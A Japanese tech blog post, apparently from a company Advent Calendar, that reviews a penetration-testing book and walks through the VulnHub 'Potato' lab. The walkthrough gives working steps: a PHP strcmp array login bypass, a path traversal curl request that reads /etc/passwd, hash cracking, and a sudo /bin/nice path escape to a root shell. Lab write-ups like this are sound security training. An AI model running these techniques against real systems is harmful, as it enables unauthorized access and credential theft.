ハッキング・ラボのつくりかた　ハンズオン

## はじめに
こちらは [エーピーコミュニケーションズ Advent Calendar 2024](https://qiita.com/advent-calendar/2024/ap-com)  の最終日の記事です！
メリークリスマス！🎄 ついにアドベントカレンダー最終日です！

クリスマスとは最もかけ離れたタイトルとなりますが、至って真面目な技術記事です！
最終日ということもあり、少しだけ長めに前置きをさせてもらいます。

### 今年の振り返り・テーマ決定の背景
今年手に取った書籍の多くは、業務で **AWS×IaC（AWS CDK）** を触る機会があったことに影響を受けたものでした。
例として挙げるのであれば、以下の古典的作品などを含めて読むことが出来ました。充実したラインナップですね。

`リーダブルコード`
`良いコード／悪いコードで学ぶ設計入門`
`AWS設計スキルアップガイド`

いずれも、プログラミングやAWSに本格的に向き合うための知識補充として非常に役立ちました。

そんな中、2024年を締めくくるテーマとして選んだのが 「**ハッキング・ラボのつくりかた 完全版**」 です。
この一冊は、今年私が最も衝撃を受けた技術書の一つであり、以前から記事にしたいと思いつつも「いいのか？」と考えてしまいタイミングを逃していました。

発売直後に購入し、非常に楽しみにしていたものの、その分量の多さに一部積読状態となっていました。
しかし、この記事を書くことで、改めて読み進め新たな技術領域に踏み込む楽しさを再確認し、読者の皆さんにもその魅力をお伝えできればと思います。

### 最終日に取り上げる理由
アドベントカレンダーの最終日、しかもクリスマスという特別な日に背中を押され、このタイミングでを満を持して取り上げることにしました。

この記事では、簡単な書籍レビューとごく一部のハンズオンのまとめとして2部構成でお届けします。
やや長めの内容となりますが、ぜひ最後までお付き合いください！

## 結論
タイトルから受ける印象とは異なり、至って真面目な **オフェンシブセキュリティ**の書籍 です。

一見すると玄人向けに思える内容ですが、初心者でも進めやすいように **懇切丁寧な解説** が随所にあります。
右も左も分からない方でも、本に書かれた手順通りに進めるだけで学びと楽しさを同時に体感できる親切設計です。

また、すでに技術的な知識が豊富なベテランエンジニアにとっても、新しい視点やスキルが得られる魅力的な一冊です。初心者から上級者まで幅広い層が楽しめる、少し変わったユニークな書籍と言えるでしょう。

## レビュー編
### スペック
まず最初に目を引くのは **圧倒的なボリューム感** にあります。

- ページ数：1,200ページ
- 価格：6,200円+税
- 厚さ：約62mm
- 重量：1,394g（1kg超え！）

旧版（824ページ / 3,800円+税）と比べても内容が大幅に増量され、圧巻のボリュームとなっています。
実際、手にすると辞書さながらの存在感で、ハードカバーのため物理的にも「鈍器」のような重みがあります。

![1732802120550.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/36aa1151-733d-e5b3-8ed0-99b4cf7c5393.jpeg)

![1732802120451.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/1fc7321a-1258-edc8-ca21-a035ca11f49a.jpeg)

![1732802977689.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/d4e7f2aa-51fa-ed6e-c3f9-37d4ae208be6.jpeg)

### コンセプト
本書のコンセプトは、「脆弱性のある仮想環境を攻略し、その過程でセキュリティ知識を学ぶ」というものです。

脆弱性を持つOSイメージを実際に操作しながら、セキュリティやLinuxコマンドの知識を深める構成になっています。
知識を座学で学び、すぐに実習で試すことで、インプットとアウトプットを同時に行える点が大きな魅力です。
使用する題材として、無料で脆弱性を持つマシンイメージを提供する [VulnHub](https://www.vulnhub.com/) を採用しています。
攻略法の公開が許可されている様で、他ユーザーの攻略を参考にしたり、比較することで学びを深めることも可能です。

### 対象読者
初心者: 初歩的な仮想環境のセットアップやLinuxコマンド解説が充実しているため、基礎から学びたい人に最適です。
中・上級者: 実習課題は16題あり、やりごたえのある内容が多く、技術力の確認や新たな発見を求める人にも適しています。

### 読み進める際の注意点
この本は仮想環境のセットアップやLinuxコマンドの解説など、非常に手厚い網羅性を持っています。そのため、初心者でも安心して取り組むことができますが、ボリュームの大きさゆえに **実習パート** はやや手間がかかります。

- インプットセクションは必要な箇所だけ読み進め・不明点などは辞書的に調べると良さそう
- 仮想環境を用意しながら進めるハンズオン形式は楽しいものの、記載通りに進まない点などもあり少し大変
- 分厚い書籍ならではの取り回しの悪さもあるので、電子書籍版の方がハンズオンには適しているかもしれません

## ハンズオン編
### 前提
ここで書くことではないかもしれませんが、まず大前提として、以下の点を押さえてください：

1. セキュリティ対策が正しく実施された環境では不可能なアクセス方法であり個人所有の環境だから出来るということ
本記事(本書籍)で紹介する手法は、セキュリティが適切に施されている環境では当然ながら利用できません。あらかじめ用意された脆弱性を含む仮想環境で行うロールプレイであり、自己所有のシステム配下で実施するために問題のない行為です。公開システムや第三者の環境では絶対に試さないでください。

2. 内容の理解には実際に環境構築をしてハンズオンをする
記事内では操作の流れをアウトラインとして説明していますが、詳細な動作や理解を深めるためには、実際に書籍を購入し、環境を準備して進めることをおすすめします。
（例：「なぜこの操作が必要なのか？」といった背景説明は割愛しています）

3. 参考資料の活用
実際の手順を進める際には、[Kali Tools](https://www.kali.org/tools/)のような便利なサイトを活用してみてください。各ツールの使い方や適切なユースケースを確認するのに役立ちます。

4. 楽しもう！
知らないことを知るというのは楽しいですよね。しかもちょっとだけ怪しい分野なら尚更知的好奇心がくすぐられます。
全力で楽しみましょう！

### 攻略フロー
今回は最初の攻略対象Potatoのハンズオンを実施します。
ざっくりとした攻略のフローは以下の通りです。

1. 環境準備
操作対象・攻略対象OSの準備
2. ネットワーク探索
仮想環境内で IP アドレスを確認し、対象サーバーを特定。
開放ポートをスキャンし、アクセス可能なサービスを発見（例: FTP, HTTP）。
3. FTPアクセス
匿名ログインを試し、取得可能なファイルをダウンロード。
ファイル内の脆弱性を利用してシステムにアクセス。
4. ウェブアプリケーションの脆弱性の確認・アクセス
PHP の脆弱性を利用して、配列を渡す形で認証をバイパス。
サーバーファイルへのアクセス・データの取得。
5. root権限取得
sudo の設定を調査し、許可されているコマンドを利用。
バイナリの実行を介して root シェルを取得。

### 操作・攻略対象OSの準備
VirtualBoxにそれぞれ操作用、攻略対象のOSを準備します。

本作ではペネトレーションテストなどで非常に定評のある[Kali Linux](https://www.kali.org/get-kali/)ではなく、[ParrotOS](https://parrotsec.org/)を採用しております。
書籍という特性上、情報が古くなることを限りなく減らすためにバージョンアップの多いKaliLinuxではなく、安定的に利用されるParrotOSを利用する運びとなったそうです。

マシンを起動する。
操作側の[ParrotOS](https://parrotsec.org/)と、攻略対象のPotatoを[VlunHub](https://www.vulnhub.com)から仮想マシンイメージのダウンロードをし、VirtualBoxで起動します。

ParrotOS
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/47c67b6a-53d8-8a2f-8431-ee22b6b1b2ce.png)

Potato
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/dd967001-f875-24c9-8dc5-bb8f3b38725b.png)


### 操作対象・攻略対象のIPアドレスを確認
```
┌─[xxxx@parrot]─[~]
└──╼ $
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:b5:ab:9c brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.101/24 brd 192.168.56.255 scope global dynamic noprefixroute enp0s3
       valid_lft 405sec preferred_lft 405sec
┌─[xxxx@parrot]─[~]
```

ここでは`192.168.56.101`が割り当てられていることがわかります。
同一LAN内の端末IPアドレスを探索します。

```                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------                                             
 192.168.56.103  08:00:27:60:10:99      1      60  PCS Systemtechnik GmbH                                                 
┌─[✗]─[xxxx@parrot]─[~]

```

### 攻略対象のポートを確認
攻略対象に対してポートスキャンを掛けます。

```
┌─[✗]─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Potato company
2112/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 ftp      ftp           901 Aug  2  2020 index.php.bak
|_-rw-r--r--   1 ftp      ftp            54 Aug  2  2020 welcome.msg
MAC Address: 08:00:27:60:10:99 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
80番ポートでApachと2112番ポートでFTPが立ち上がっているようです。

### FTPアクセス・ファイル内容確認
FTPにanonymousで接続を試すとログインができますので、見つけたファイルをダウンロードします。

```
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $ftp $IP 2112
Connected to 192.168.56.103.

Name (192.168.56.103:xxxx): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: 
230-Welcome, archive user anonymous@192.168.56.101 !
230-
230-The local time is: Fri Nov 29 15:29:35 2024
230-
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 
ftp> ls
229 Entering Extended Passive Mode (|||6770|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 ftp      ftp           901 Aug  2  2020 index.php.bak
-rw-r--r--   1 ftp      ftp            54 Aug  2  2020 welcome.msg
226 Transfer complete
ftp> mget *
ftp> !ls
index.php.bak  portscan_result.txt  welcome.msg
ftp> exit
221 Goodbye.
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $ls -l
合計 12
-rw-r--r-- 1 xxxx xxxx  901 11月 29 15:30 index.php.bak
-rw-r--r-- 1 root     root     1362 11月 29 15:28 portscan_result.txt
-rw-r--r-- 1 xxxx xxxx   54 11月 29 15:30 welcome.msg
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $
```

ダウンロードしたファイルの内容を確認します。
初期パスワードとパスワード認証時の条件分岐が記載されています。
条件分岐部分に記載がある内容として、strcmp関数は配列を渡した際に`NULL`を返します。そして、PHPでは`NULL == 0`がTrueとなるため、配列を記載することができればこちらの式が成立するようです。
```
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $file index.php.bak 
index.php.bak: HTML document, ASCII text
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $cat index.php.bak 
$pass= "potato"; //note Change this password regularly

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);
  }else{
    echo "<p>Bad login/password! </br> Return to the <a href=\"index.php\">login page</a> <p>";
  }
  exit();
}

┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $
```

### Webアクセス・テスト
ブラウザからアクセスしてみますが、特にログインフォームなどは見当たりません。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/bc280b6f-2589-613b-7c1f-29a1b5558518.png)

攻略対象のディレクトリを探索します。
```
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $

===============================================================
/.hta                 (Status: 403) [Size: 279]
/admin                (Status: 301) [Size: 316] [--> http://192.168.56.103/admin/]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/index.php            (Status: 200) [Size: 245]
/server-status        (Status: 403) [Size: 279]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $
```
/adminにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/7cdf0013-b7b9-8f5f-cb0d-239a699b0371.png)
デフォルトパスワード設定のpotatoはエラーになります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/3938d860-6de4-c58f-fa8e-cc904296691c.png)

ローカルProxyを用意してリクエスト内容を確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/8adfa78a-ceee-9e89-3416-5ea5efb1fb77.png)


リクエストの内容を直接書き換えて実行してみます。
先述したPHPの脆弱性を利用します。

usernameがadminかつpasswordを配列として渡すことでログインを成功させるためにリクエストの`password=test`を`password[]=test`と書き換えて送信します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/a0a5b82c-d8ff-afa8-4988-35ff01687aba.png)

無事にログインすることができました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/6fda5763-9f35-7c97-02ad-a929cfebcb6d.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/f12e59a6-5fad-de78-0572-ff1f93908273.png)

### ファイル取得・解析
管理者エリアのLogsをクリックしてみると、Logファイルを表示する画面が表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/e2aaa821-449e-83bf-c6c4-013bff421a1d.png)

サーバー内へのファイルへとアクセスをしているため、アクセスした状態でリクエスト内容を確認します。
リクエスト内で`file=log_01.txt`とファイル名を直接渡していることが確認できます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/74ddb2dd-e2d3-a09d-213b-47923ee014df.png)

ここのfileを書き換えて`/etc/passwd`ファイルへのアクセスを試します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/5f2c6225-2349-0df1-526d-d4f4a71c3285.png)

何度か階層を変えながらチャレンジすることで内容を表示できました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3939906/1901bd36-932d-0196-e6c4-e08b6d3036b1.png)

また、毎回GUI上での操作は手間になるため、ヘッダーの内容を確認して以降はcurlコマンドからの実行をしてみます。

```
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $curl -X POST -b "pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh" -d 'file=../../../../../etc/passwd' 'http://192.168.56.103/admin/dashboard.php?page=log'
<html>
<head><title>Admin area</title></head>
<body>

Contenu du fichier ../../../../../etc/passwd :  </br><PRE>root:x:0:0:root:/root:/bin/bash
florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash
</PRE>┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $
```

ファイル出力の形式が悪いので、整形して表示します。
`/etc/passwd`ファイル`webadmin`のパスワードハッシュが出力されているため、必要情報だけ記載したファイルを作成します。

```
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $cat pass.txt | grep -P 'sh$'
root:x:0:0:root:/root:/bin/bash
florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash
┌─[✗]─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $cat pass.txt | grep -P 'sh$' | grep webadmin > hash.txt
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $cat hash.txt 
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $
```

### ハッシュ情報の解析
作成したファイルのハッシュを解析します。
ここは書籍の内容通りでは動作せず、実行ファイルにパスを通し、辞書ファイルの解凍をして実施することで`webadmin`のパスワードが解析できました。
```
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $
Press 'q' or Ctrl-C to abort, almost any other key for status
dragon           (webadmin)     
Session completed. 
┌─[xxxx@parrot]─[~/vlunhub/potato]
```

### sshログイン
`webadmin`の解読したパスワードを利用してsshにてログインします。

```
┌─[xxxx@parrot]─[~/vlunhub/potato]
└──╼ $
The authenticity of host '192.168.56.103 (192.168.56.103)' can't be established.
webadmin@192.168.56.103's password: 

webadmin@serv:~$ id
uid=1001(webadmin) gid=1001(webadmin) groups=1001(webadmin)
webadmin@serv:~$ pwd
/home/webadmin
```

ログインができたため、ホームディレクトリのファイルを確認します。
`user.txt`ファイルがあったので、内容を確認しますが暗号化されているようなファイルとなっています。
こちらはbase64にてデコードすることでフランス語の様な文字列が表示されました。
```
webadmin@serv:~$ ls -la
total 32
drwxr-xr-x 3 webadmin webadmin 4096 Aug  2  2020 .
drwxr-xr-x 4 root     root     4096 Aug  2  2020 ..
-rw------- 1 webadmin webadmin  357 Aug  2  2020 .bash_history
-rw-r--r-- 1 webadmin webadmin  220 Aug  2  2020 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug  2  2020 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug  2  2020 .cache
-rw-r--r-- 1 webadmin webadmin  807 Aug  2  2020 .profile
-rw------- 1 webadmin root       69 Aug  2  2020 user.txt
webadmin@serv:~$ cat user.txt 
TGUgY29udHLDtGxlIGVzdCDDoCBwZXUgcHLDqHMgYXVzc2kgcsOpZWwgcXXigJl1bmUg
webadmin@serv:~$ cat user.txt | base64 -d
Le contrôle est à peu près aussi réel qu’une webadmin@serv:~$ 
```

他のディレクトリも探索します。
`florianges`のホームディレクトリを確認すると`.sudo_as_admin_successful`という怪しいファイルがありますが中身は空でした。
```
webadmin@serv:~$ cd ..
webadmin@serv:/home$ ls
florianges  webadmin
webadmin@serv:/home$ cd florianges/
webadmin@serv:/home/florianges$ ls -la
total 28
drwxr-xr-x 3 florianges florianges 4096 Aug  2  2020 .
drwxr-xr-x 4 root       root       4096 Aug  2  2020 ..
-rw------- 1 florianges florianges   38 Aug  2  2020 .bash_history
-rw-r--r-- 1 florianges florianges  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 florianges florianges 3771 Feb 25  2020 .bashrc
drwx------ 2 florianges florianges 4096 Aug  2  2020 .cache
-rw-r--r-- 1 florianges florianges  807 Feb 25  2020 .profile
-rw-r--r-- 1 florianges florianges    0 Aug  2  2020 .sudo_as_admin_successful
webadmin@serv:/home/florianges$ cat .sudo_as_admin_successful 
```

### root権限の取得
`sudo -l`コマンドで`webadmin`がsudo可能かを確認します。
```
webadmin@serv:/home/florianges$ sudo -l
[sudo] password for webadmin: 
Matching Defaults entries for webadmin on serv:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on serv:
    (ALL : ALL) /bin/nice /notes/*
webadmin@serv:/home/florianges$ ls -la /bin/nice
-rwxr-xr-x 1 root root 43352 Sep  5  2019 /bin/nice
webadmin@serv:/home/florianges$ 
```
`/notes/*`に対して`/bin/nice`を`sudo`権限で実行できることが分かりました。
`/bin/nice`は通常プロセスの優先順位を変更するために利用できますが、間接的にバイナリを実行することが可能です。

/notes/配下のファイルを確認します。
読み取り権限がないために、それぞれ実行して試してみることとします。
clear.shを実行するとclearコマンドを打ったような挙動となり端末がクリアされます。
```
webadmin@serv:/notes$ cd /notes/
webadmin@serv:/notes$ ls -la
total 16
drwxr-xr-x  2 root root 4096 Aug  2  2020 .
drwxr-xr-x 21 root root 4096 Aug  2  2020 ..
-rwx------  1 root root   11 Aug  2  2020 clear.sh
-rwx------  1 root root    8 Aug  2  2020 id.sh
webadmin@serv:/notes$ 
webadmin@serv:/notes$ sudo /bin/nice /notes/clear.sh
```

id.shを実行すると、rootでidコマンドを打ったような挙動になります。
```
webadmin@serv:/notes$ sudo /bin/nice /notes/id.sh
uid=0(root) gid=0(root) groups=0(root)
webadmin@serv:/notes$ 
```

`sudo`権限で`/bin/nice`を`/notes/*`に対して実行できるため、/notes/を引数にした状態で、シェルを実行すると、rootシェルが起動しました。
```
webadmin@serv:/notes$ sudo /bin/nice /notes/../bin/bash
root@serv:/notes# id
uid=0(root) gid=0(root) groups=0(root)
root@serv:/notes# cd /root
root@serv:~# pwd
/root
root@serv:~# ls
root.txt  snap
root@serv:~# cat root.txt 
bGljb3JuZSB1bmlqYW1iaXN0ZSBxdWkgZnVpdCBhdSBib3V0IGTigJl1biBkb3VibGUgYXJjLWVuLWNpZWwuIA==
root@serv:~# cat root.txt | base64 -d
licorne unijambiste qui fuit au bout d’un double arc-en-ciel. root@serv:~# 
root@serv:~# 
```
root権限の奪取完了です！お疲れ様でした！！

## おわりに
今年のアドベントカレンダーは、Qiitaアカウントを作成するか迷うところから始まりました。
空き枠を見つけては勢いでエントリーし、思わず「内容が薄い記事」となった日もありましたが、多くの日を担当できたことは嬉しくもあり、恥ずかしくもあります。

最終日を担当するにあたり、少しでも印象に残る内容をと考え、「ハッキング・ラボのつくりかた 完全版」をテーマに選びました。
価格やボリューム感から気軽に手を出しづらい一冊かもしれませんが、もし興味があればぜひ試してみてください。
きっと、文字通り新しい世界への扉を開くことができるでしょう。

2024年を締めくくる記事として、この本の魅力を少しでも伝えられていれば幸いです。
最後まで読んでいただき、ありがとうございました！